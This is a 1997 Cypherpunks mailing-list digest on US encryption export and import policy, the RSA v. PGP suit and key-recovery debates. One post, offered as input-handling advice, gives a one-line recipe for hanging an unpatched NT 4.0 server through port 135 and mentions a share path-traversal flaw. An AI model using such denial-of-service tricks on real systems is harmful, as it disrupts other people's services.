From: Will Rodger <rodger@worldnet.att.net>
Date: Thu, 8 May 1997 23:30:05 +0800
To: cypherpunks@toad.com
Subject: Interactive Week exclusive - Clinton Admin. to announce new Crypto regs. this PM
Message-ID: <3.0.32.19970508104809.0070e8cc@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Something you might find interesting....

By Will Rodger
Washington Bureau Cheif
Inter@ctive Week

The US government will announce later today that will soon lift controls on
technology crucial to doing business over the Internet, White House advisor
Ira Magaziner said yesterday evening.

Under plans expected to be outlined at a noontime press briefing today, the
federal government will require that producers of specialized, narrowly
focused data scrambling products submit only to one-time government
approval before they sell powerful encryption products abroad. Current
policy requires case-by-case approval in most instances.

"Basically it will say that for basic financial and electronic applications
there will be no export restrictions and no requirement for key recovery,"
Magaziner said.

US Undersecretary of Commerce William Reinsch is expected to give details
of the plan. Reinsch could not be reached for comment.

Computer industry executives and public interest groups said the new
arrangement, though far short of deregulating all encryption, was a step in
the right direction.

"This is evidence that the administration acknowledges that manufacturers
of foreign encryption products do exist," said Peter Harter, public policy
counsel at Netscape Communications Corp. "Their policy has put American
industry in the back seat and now we're trying to catch up."

David Banisar, policy analyst at the Washington-based Electronic Privacy
Information Center, called the move a "small step forward." Nonetheless,
"it still doesn't reach the needs for secure e-mail or other purposes," he
said.

Computer software and hardware eligible for decontrol under the proposed
regulations must fit several criteria, said Kawika Daguio, a public affairs
specialist with the American Bankers Association who helped hammer out an
agreement for the new regulations. 

.Though products designed for use by the general public may be unlimited in
the strength of the encryption techniques they employ, they must also be
strictly limited in use, he said. Software written for home banking, for
instance, must be usable only for bank transactions and not easily modified
for general use. Most programs handed out by banks for PC banking at home
fit that criteria, he said. 

Programs that use the industry  SET standard for credit card purchases over
the Internet should easily meet Commerce Department criteria, too, since
the SET standard encrypts only those data essential to making online
purchases; the limited uses of the standard render it all but useless for
general use. Visa, MasterCard and American Express developed the standard.

"I'd expect programs written with SET to get very rapid approval - within
weeks," Daguio said.

In addition, US companies will have leeway to export any kind of encryption
to any bank as long as that encryption is used only for legitimate,
internal bank functions. Products designed for merchant-to-merchant
transactions without a bank in between would still be subject to stricter
controls, including use of weak software routines that make decoding by law
enforcement easy, or deposit of decoding keys with law enforcement bodies
prior to export.

Commerce Department regulations will spell out details this month or next,
Daguio said. 

Though more sweeping in nature than past government regulations, the US
banking industry has long enjoyed more freedom to use powerful encryption
technologies abroad than other industries. Successive administrations have
granted banks that leeway since by definition they must have greater
safeguards over employee behavior than all but a handful of industries. In
addition, financial applications have long been easier to design for export
since they typically require encryption of only a few standard data fields.
If sufficiently limited in design, the reasoning goes, they pose no threat
to law enforcement concerned about smugglers or terrorists who may want to
evade detection by law enforcement.
 
The government and the computer industry have for years been locked in
disputes over the relative importance of encryption technologies and their
potential for misuse.

Since encryption encodes sensitive information like credit card numbers,
voice traffic over public networks and anything else that can be converted
into an electronic stream of ones and zeroes, proponents of electronic
commerce have insisted the technology must be widely deployed to assure the
security of computer networks worldwide. Absent US encryption exports, they
claim, American companies will soon lose their leadership role in a
technology crucial to the country's competitiveness.

Federal officials, on the other hand, have said export of the technology
threatens global security, since terrorists and criminals in outlaw states
like Libya and North Korea could easily use the technology to defeat
wiretaps and data searches increasingly prized by law enforcement and
national security agencies. In response, they demand that exports of
powerful encryption include so-called key recovery - a method by which law
enforcement can gain access to the encryption keys used to encode messages.
Many public interest groups have condemned the plans, however, saying such
a transfer of power to law enforcement threatens to usher in an era of
ubiquitous and illegal eavesdropping. Several bills pending in Congress
would do away with nearly all controls. Reinsch was expected to testify at
congressional hearings on one of the bills this morning.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3HngkcByjT5n+LZAQHL+Af/WdDoOuORps0gkZQmI4B6mgY63HeTzKZH
kW19knlqU6SMC/GSdFrZLiWZhkDec2/wLzq57wdzlPjdPd+5wCvTYWmJAX68Kf6b
9g6cm3AbhZSKmaOtUtwOmUwAtuS5DPaGiPejAc9716K0/U9+0YBNKMZ/qVYAhrLc
yR4yxLqpXd68zhirYIxtjHcB1fDzRO6F91stxvvDsg2bg2pPvLidWOBoknMZmCQt
ALV5Z1yuik6tNOIPx+4ty7kWMMIQ0E3DqVKPxVAbFchCTohcee55U6Pmg3pbYtVg
rrhYr4W8s/juv/9JrVa99+usyt/ohe+N3HcYtJ5WVLF2ED3UT/YDBg==
=Q3/z
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 9 May 1997 00:20:03 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.32.19970507220052.0073faa8@netcom13.netcom.com>
Message-ID: <Pine.SUN.3.91.970508114438.999N-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997, Lucky Green wrote:

> Though shalt not use static size buffers for variable length data. [I don't
> need to tell this to Bill and many others on this list. The rest better
> chisel it in granite. :-]

Exception1: Unless you are fragmenting incoming data into chunks equal to 
or smaller than the size of your static buffer less 1 byte for the NUL 
character terminator. :)

Lemma1: Never assume anything about incoming data sizes, or formats.  
Example: The SBM client being able to do the equivalent of "cd .." on the 
root level of an NT share.

Lemma2: Always make sure when expecting data to time out if you do not 
receive what you expect.  Example: telnet to port 135 of unpatched NT 
server 4.0, type 10 characters, hit ENTER and disconnect.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 9 May 1997 00:15:30 +0800
To: ichudov@algebra.com
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <199705080051.TAA00842@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970508114932.999O-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997 ichudov@algebra.com wrote:

> does he still sell zeros?

Yeah, and he's applied a patent on the idea of /dev/null. Since it 
produces zeros, he plans to sue every unix var on the planet for patent 
infringement right after he gets the patent.  (Little does he know about 
EOF - but soon as he gets a clue, he'll sue on the concept of EOF as 
well.)

He's working on a beta of a program that produces 1's.  That's  secret 
project he's working on next. :)

We really should be careful with ROT13 though... He might get some ideas 
there too...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 04:24:52 +0800
To: cypherpunks@cyberpass.net
Subject: Trapped behind the Silicon Curtain
In-Reply-To: <3.0.1.32.19970508103647.002ec6d8@popd.ix.netcom.com>
Message-ID: <v03007800af97e45b4e4b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:36 AM -0800 5/8/97, Bill Stewart wrote:
>>From: "Michael Froomkin - U.Miami School of Law"
>>From: David Farber <farber@cis.upenn.edu>
>>Subject: IP: Crypto News Flash
>>CyberWire Dispatch // Copyright (c) 1997 // May 1997
>>
>>Jacking in from the "Take My Crypto, Please" port:
>>
>>Washington, DC--A new anti-crypto bill now floating around Washington
>>would place restrictions on the import of strong crypto products into the
>>U.S. and possibly outlaw the use of non-government approved encryption
>>products.
>>
>>During a morning briefing at the Capitol,  Sen. Bob Kerry
>>(D-Neb.), talking about his impending new crypto bill, which he will call
>>the "Secure Public Interest Act" said that the bill WILL include
>>IMPORT restrictions on crypto software.
...

What, no mention of "Child Protection"?

This bill has been floating around D.C. for several weeks, as the
Administration searched for a sponsor, according to some folks I know close
to Ground Zero.

And we've known the Clinton fascists have planned this for several years.
(The Bush fascists would've done the same thing had they been reelected in
'92, too.)

This will place the United States behind a "Silicon Curtain," with ordinary
people forbidden to _import_ increasing amounts of information.
Historically, imports have been restricted under two conditions: first, for
tariff reasons, and, second, for contraband reasons. The imposition of
import restrictions on crypto is clearly of the latter type, which means
that posession of certain types of crypto in the U.S. would be tantamount
to possessing contraband. Hey, if they can't stop cargo planes full of
bales of marijuana from entering, nor shiploads of AK-47s, how can they
stop _bits_?

But they'll try. And as Whit Diffie so accurately characterized things, the
"War on Crypto" will be fought the way the "War on Drugs" has been fought,
by terrifying corporations with the threats of seizure of assets and
massive fines if various War on Drugs measures are not "voluntarily"
adopted. Thus, we can expect to see corporations pressed into service as
unpaid crypto warriors.

It's all part of the New World Order. Don't laugh. Conspiracy theories
aside, it's part of an overall trend to emasculate and disarm obstreprous
citizen-units, all in the name of public safety. Of course, what it really
is about is the natural role for any government to play: to keep itself in
power. Thus, laws are passed by regimes on all sides of the political
spectrum to make dissent and revolution harder for citizen units to mount.

Nothing new here.

The problem cannot be solved politically. Just stay clear of soft targets.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rory Picard <Rory@Accesshub.com>
Date: Fri, 9 May 1997 02:14:04 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <3372127C.6826@Accesshub.com>
MIME-Version: 1.0
Content-Type: text/plain


james@accesshub.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 08:22:30 +0800
To: cypherpunks@toad.com
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <3.0.1.32.19970508001526.027646a4@panix.com>
Message-ID: <2yae7D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


frissell@panix.com writes:
> 
> At 07:50 PM 5/7/97 -0500, Igor Chudov @ home wrote:
> >According to americal common law, as I understand it, no one can get
> >a valid title to the property from someone who did not have such title.
> >
> >E.g., if you steal Vulis's car and then sell it to me, I will not have
> >the title to the car and will have to return it back to Vulis (and may
> >be able to try to recover my loss from you). The same will be true if
> >you lend the stolen car to me -- he can get it back if he proves that it
> >is his.
> 
> The thief's ownership of personal property is good against the whole world
> save the true owner. 
> 
> "18. In general, possession constitutes the criterion of title of 
> personal property, because no other means exist by which a knowledge of the 
> fact to whom it belongs can be attained. A seller of a chattel is not, 
> therefore, required to show the origin of his title, nor, in general, is a 
> purchaser, without notice of the claim of the owner, compellable to make 
> restitution; but, it seems, that a purchaser from a tenant for life of 
> personal chattels, will not be secure against the claims of those entitled 
> in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
> 16."
> 

My problem with Igor's model is that has a "gubmint" that can decide that
although you possess something, you don't have a title to it.

I don't think the cost of having a "gubmint" justifies the convenience(?)
of having one's stolen property recovered.

I point Igor's attention to the two categories of real estate ownership in
traditional Russian legal framework (probably borrowed from Poland and
Germany...) - the kind that cannot be taken away by the state for any
reasn (even as punishment for treason), and the kind that can be taken
away, e.g., for non-paymet of taxes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 9 May 1997 04:18:02 +0800
To: cypherpunks@toad.com
Subject: Encryption--RSA v. PGP
Message-ID: <v03020954af97d5675cc5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by listserv.aol.com id
                      LAA22230
Date:         Thu, 8 May 1997 11:02:39 -0500
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Kevin J. Connolly" <kconnolly@EVW.COM>
Subject:      Encryption--RSA v. PGP
To:           CYBERIA-L@LISTSERV.AOL.COM

-----BEGIN PGP SIGNED MESSAGE-----

RSA Data Security, Inc. filed an action in the Superior Court of California,
San Mateo County, against Pretty Good Privacy, Inc.  PGP has been
claiming that its license to distribute RSA-based encryption software is
based on a chain running from Public Key Partners to Viacrypt, Inc.  PGP
acquired Viacrypt, Inc. in January 1996 and has been selling RSA-based
encryption software for commercial use ever since.  The complaint, filed
by Tomlinson Zisko Morosoli & Maser, alleges that PGP's license is
derived from a license to Lemcom, which in turn has been terminated.

This might well mean the end of PGP.  This would certainly be a bad
outcome for security and freedom on the Internet.  I will be following
these developments and report to the list.  It's ironic that RSA is doing this
while complaining about PGP conduct as a freeloader.  I doubt that public
key encryption would be anywhere as notorious as it has become if it
were not for Phil Zimmermannn's crusade; and I haven't noticed RSA
offering to help with Phil's legal expenses.

Kevin J. Connolly
The opinions expressed in this communication are those of the author,
not of Eaton & Van Winkle.
This communication is not legal advice.  If it were legal advice, it would
be accompanied by an invoice.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM3HrGTQOqu5WyMfpAQFX7AP/T0R54+S05FqKJ+zZXVb1uCHMrPZmagEm
aiW9Dfgwo/K3tXbkrbS0WEtCc8tZobXbL7fLOT82qzKvXehRsERILV2keeaXlAe7
WN5c66SjaWe/xGfLQ/8UAnzaBl6l+olG8gN2zxGatbLDcKuakP7j0LGRuzhTXAaG
BOYGDUbsSAY=
=VCFW
-----END PGP SIGNATURE-----

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 07:23:54 +0800
To: cypherpunks@cyberpass.net
Subject: Business needs over citizen rights
Message-ID: <v03007800af980cb96a14@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



It's interesting that in the various recent developments over crypto, the
needs of business are taking priority over the basic rights of citizens. In
fact, the debate is being driven by issues of "competitiveness."

* In the latest round of crypto export policy, relayed to us by Will Rodger
of "Interactive Week," it is relaxation of export for financial and banking
software that is being pushed. (Possibly connected to the next item,
though.)

* Meanwhile, the Administration's "Crypto Import Restrictions" (officially
entitled "The Safe Streets, Child Protection, and Public Safety Act") are
about to be introduced, as reported to us by Brock Meeks (on this list by
Bill Stewart). It is possible that this is also related to corporate
interests, as this would stop certain offshore developers--unhindered by
U.S. laws--from competing in the U.S. against U.S. companies (this is mere
speculation on my part, but it may be part of the big picture).

* And SAFE has special provisions for financial cryptography (read: Banking
interests), while also putting the screws to any citizen-units who step out
of bounds with crypto.

...and so on.

What these trends add up to is an almost complete disregard for basic,
fundamental issues of civil liberties and freedom in favor of various
craftings of laws to advantage some American companies, disadvantage other
American companies, and manipulate the international competitive scene.

This is what politics has always been, of course. Pork barrels and pigs at
the trough, to mix some porcine metaphors.

It shows how far we have degenerated as a nation. Exactly which parts of
the First, Second, etc. Amendments do these porkers not understand?

May they all be vaporized.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Thu, 8 May 1997 23:23:27 +0800
To: Michael.Johnson@mejl.com (Mike)
Subject: Re: Netscape-128 not at Replay.com
In-Reply-To: <3.0.1.32.19970507140543.00912550@localhost>
Message-ID: <199705081432.QAA02801@basement.replay.com>
MIME-Version: 1.0
Content-Type: text



ftp.replay.com:/pub/crypto/browsers


: 
: 
: It seems that the US versions of Netscape have been removed from
: ftp.replay.com. Did Netscape comment on the software being available, or
: what happened?
: 
: Mike.
: 
: 


-- 
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Fri, 9 May 1997 06:17:11 +0800
To: Will Rodger <cypherpunks@toad.com
Subject: Re: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970508104809.0070e8cc@postoffice.worldnet.att.net>
Message-ID: <v03007814af9801832ac0@[172.17.1.61]>
MIME-Version: 1.0
Content-Type: text/plain


These "new" regulations "to be issued" are scrambling to catch up with
previous and current practices. It doesn't change things at all.

When they issued the new export regulations in January, the glaring hole
was the absence of an explicit exception for the financial industry. Under
the customs that evolved around ITAR, you could get an export license for
strong crypto as long as the overseas customer was a financial institution.
This announcement is simply a public acknowledgment that the BXA will look
favorably on export requests to banks and that someday they'll try to draft
specific regulations on the subject. Meanwhile you do it by grinding
through the bureacracy.

Export permission for strong crypto that only encrypts financial data is
clearly a variant of this tradition. They already granted export permission
for one vendor of such a system, so I'm not surprised they're planning to
make up a regulation to cover it.

Rick.
smith@securecomputing.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 9 May 1997 09:33:39 +0800
To: cypherpunks@algebra.com
Subject: [ADMIN] Stego in posts
Message-ID: <199705090019.RAA09654@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>> In a message dated 97-05-05 20:54:49 EDT, you write:
>> 
>> <<
>>   Write a guys/girls name here_______________ or say aloud.  In 21 days he/she
>>  will show his/her love 4-U!! CAUTION!  Any guy/girl who breaks this chain
>> will have bad like w/ guy/girls 4-ever!!!!!!!!!!!
>>  Pass this on 10 times!!!!!!!!!!!!!!!!! >>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 9 May 1997 09:22:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Business needs over citizen rights
In-Reply-To: <v03007800af980cb96a14@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970508184855.27050E-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 8 May 1997, Tim May wrote:

> It's interesting that in the various recent developments over crypto, the
> needs of business are taking priority over the basic rights of citizens. In
> fact, the debate is being driven by issues of "competitiveness."

Um, what's so interesting about this? That's the way it has always been.

> What these trends add up to is an almost complete disregard for basic,
> fundamental issues of civil liberties and freedom in favor of various
> craftings of laws to advantage some American companies, disadvantage other
> American companies, and manipulate the international competitive scene.

Which social class was primarily responsible for the American war of
Independance? Wasn't the American civil war fought over tarrifs, rather
than slavery? Wasn't Viet Nam one big economic undertaking? 

Tim! Find your shoes and get out once in a while. :)

-r.w.
Are you better of now than you were four years ago? Re-elect the Illuminati!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Fri, 9 May 1997 08:27:29 +0800
To: cypherpunks@toad.com
Subject: guns_1.html
Message-ID: <199705082310.TAA01512@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                                   [LINK]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: US Envoy Struggles to Revive Israeli-PLO Talks
   Next Story: Bill Will Tie U.S. Aid to Bosnia Arrests
     _________________________________________________________________
   
   Thursday May 8 2:16 PM EDT 
   
Bill Sought to Ban Military Firearm Imports

   WASHINGTON (Reuter) - A bill to ban imports of surplus military
   firearms back into the United States was introduced Thursday in the
   House and the Senate.
   
   Guns such as the M-1 carbine were given or sold by the United States
   to some 20 nations over the last 50 years. Sponsors of the bill said
   many of the 2 1/2 million weapons were now being imported to the
   United States and used by criminals.
   
   "These wartime weapons are the kinds of guns that criminals can easily
   convert into illegal, fully automatic weapons," Sen. Frank Lautenberg,
   a New Jersey Democrat, said at a news conference.
   
   Lautenberg said many of the weapons were coming from Iran, once a U.S.
   ally but now estranged from Washington.
   
   "The Ayatollah (Khomeini) must be laughing in his grave," Lautenberg
   said, referring to Iran's late revolutionary leader.
   
   Lautenberg was joined in introducing the bill by Sen. Barbara Boxer of
   California and Reps. Patrick Kennedy of Rhode Island and Carolym
   Maloney of New York, all Democrats.
   
   They said it would allow collectors to buy imports of rifles from the
   Second World War or earlier.
   
   "The Anti-Gun Invasion act will slam the door on weapons, once
   intended to help our allies, from coming back into our country and
   getting into the hands of criminals," Kennedy said.
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: US Envoy Struggles to Revive Israeli-PLO Talks
   Next Story: Bill Will Tie U.S. Aid to Bosnia Arrests
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 9 May 1997 10:40:29 +0800
To: cryptography@c2.net
Subject: Re: key recovery vs data backup
In-Reply-To: <3.0.32.19970507215549.0074ceec@netcom13.netcom.com>
Message-ID: <19970508192011.29178@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 07, 1997 at 09:56:21PM -0700, Lucky Green wrote:
> At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> >I was saying that if Sam needs to read my encrypted file/mail, then I should 
> >list Sam as a crypto-recipient.  If Acme,Inc. needs to read my encrypted 
> >file/mail, then I should list Acme,Inc. as a crypto-recipient.
> >
> >There's no safe of keys.  It's even simpler to explain to an executive.
> 
> Several people on this list asked me to elaborate on my claim that KR is
> not required. I doubt that I could put it more succinctly than Carl has in
> his post.

Unfortunately, it doesn't solve the problem at all.  In fact it
doesn't even address the problem.  So much so that reading these
replies makes me think that I am looking at different problem than
you. 

So perhaps backing up to discuss the problem a bit would be helpful. 
I hope you will forgive me if this is old ground.  

The problem is key management for an organization.  

The keys are used to protect and authenticate data owned, not by any
individual, but by an organization.  Keys are generated for the
organization's purposes, not the purposes of any individual. 
Furthermore, the individual privacy of an individual who works for an
organization is not a necessary priority for the organization. 

Organizations are composed of many individuals, some of which may not
share the goals of the organization, or who may indeed be inimical to
the organization.  And the members of an organization may vary widely
in competence, personal responsibility, and so on.  Thus, the members
of an organization cannot be trusted to do the "right thing".  [I am
using "organization" in a loose sense, so that we can consider a
business an organization, and an employee as a member of that
organization.]

In fact, in most cases, only a small fraction of the members of an
organization care more about the welfare of the organization than
about their personal welfare.  So people will almost always be more
concerned about their own personal data security than they will for
that of an organization.  This, coupled with difficulties of
coordination and control, and the above conditions, means that in a
global sense information security for an organization will always be
difficult, regardless of the security of the crypto they use. 

For a moment consider the analogy with physical keys.  Consider the
key management problem of a moderate sized corporation that occupies a
large office building.  There are office keys, storeroom keys, supply
room keys, conference room keys, bathroom keys, keys to filing
cabinets -- there are *lots* of keys, lots of different delegations of
authority involved.  In many cases there is a "key czar", a "building
coordinator" that hands out keys, and gets them back when someone
changes offices or jobs.  It *has* to be this way -- you can't rekey
the entire building when a janitor quites.  So, occasionally it is
necessary to rekey a lock, but typically keys are just reused.  Many
office keys are designed to be difficult to casually duplicate, for 
this reason.

Of course any key *can* be duplicated, but that's not really that
important -- the building is full of employees during the day, and 
the night watchman checks each person that enters after normal 
hours.  

All these physical keys all fit locks that can be broken quite easily
-- there is essentially *no* possibility of something valuable being
lost behind a lock that cannot be broken.  This is vastly different
from cryptographic keys -- for all systems of interest, encryption
represents locks that cannot be broken.  Data behind a lost 
cryptographic key is gone forever.  You can't call a locksmith or a 
safe cracker.  It's really just gone.

With this background, perhaps now you can see why I say that Carl's 
solution doesn't even address the problem.  The problem is management 
of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
What part of the organization that is Acme Corp is authorized to know 
this particular bit of information?  Because some of the employees 
are idiots you want this built automatically into the application 
they are using for encryption/email/whatever.  How does this software 
know what policy is appropriate for which employee?  How is that 
policy distributed?  What is the interface that allows a policy to be 
defined?   How do you protect the policy definition from subversion?

Contrast that with a key-safe model, where a copy of every encryption
key is kept in a secure database.  The encryption client software only
talks to the key-safe when a new key is generated, over a
cryptographically secure channel, of course.  There is no policy the
client has to know.  The user encrypts freely without concern about
who else should get copies.  The organization knows that there is very
little chance of data loss because of lost keys, and can use any
policy it chooses to recover keys, from the company president's ad hoc
whim to a carefully specified organization al security policy. 

Access to the key-safe is critical, of course, but it can be made 
very secure -- a special-purpose piece of hardware that requires 
passwords from n out of m key czars before access is granted, for 
example.  Or the contents of the key safe can be encrypted via keys 
escrowed through a secret sharing mechanism

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 10:45:20 +0800
To: cypherpunks@toad.com
Subject: Re: El Gamal
In-Reply-To: <199705090000.UAA02189@linux.nycmetro.com>
Message-ID: <v03007801af9848d58988@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:00 PM -0800 5/8/97, harka@nycmetro.com wrote:

>How does El Gamal compare functionally and security-wise to RSA and
>who developed it?

Yes, who did develop El Gamal?

Could it have been....El Gamal?


(Or was that a trick question?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 9 May 1997 08:15:43 +0800
To: cypherpunks@toad.com
Subject: Kerrey on His Crypto Bill
Message-ID: <1.5.4.32.19970508232813.008addb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Senator Kerrey's office faxed a transcript of his remarks
today on his new encryption bill:

   http://jya.com/kerrey.htm  (23K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kqb@planet.net
Date: Fri, 9 May 1997 08:33:11 +0800
To: cypherpunks@cyberpass.net
Subject: Stego Cash?
Message-ID: <199705082338.TAA24157@rho.pair.com>
MIME-Version: 1.0
Content-Type: text/plain


Previous Subject: Re: Clinton Admin. to announce new Crypto regs

Rick Smith <smith@securecomputing.com> said:
> These "new" regulations "to be issued" are scrambling to catch up with
> previous and current practices. It doesn't change things at all.
>   . . .
> Export permission for strong crypto that only encrypts financial data is
> clearly a variant of this tradition.

This raises an intriguing possibility that I am sure is _not_
intended by the regulators.  If the cash is cheap enough, perhaps
it could be an economical carrier of encrypted messages.  What I have
in mind is somewhat analogous to papering your wall with dollar bills,
which clearly is uneconomical unless the dollar bills are really cheap.

What does it take to set up an offshore "remailer bank"?  Of course,
the digital cash it uses must be very INefficient, chock full of bit
bloat that hosts plenty of not-so-subliminal channels. 8-)

    Kevin Q. Brown
    kqb@planet.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 10:54:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stego Cash?
In-Reply-To: <199705082338.TAA24157@rho.pair.com>
Message-ID: <v03007801af984c267819@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:38 PM -0800 5/8/97, kqb@planet.net wrote:
>Previous Subject: Re: Clinton Admin. to announce new Crypto regs
>
>Rick Smith <smith@securecomputing.com> said:
>> These "new" regulations "to be issued" are scrambling to catch up with
>> previous and current practices. It doesn't change things at all.
>>   . . .
>> Export permission for strong crypto that only encrypts financial data is
>> clearly a variant of this tradition.
>
>This raises an intriguing possibility that I am sure is _not_
>intended by the regulators.  If the cash is cheap enough, perhaps
>it could be an economical carrier of encrypted messages.  What I have
>in mind is somewhat analogous to papering your wall with dollar bills,
>which clearly is uneconomical unless the dollar bills are really cheap.
>
>What does it take to set up an offshore "remailer bank"?  Of course,
>the digital cash it uses must be very INefficient, chock full of bit
>bloat that hosts plenty of not-so-subliminal channels. 8-)

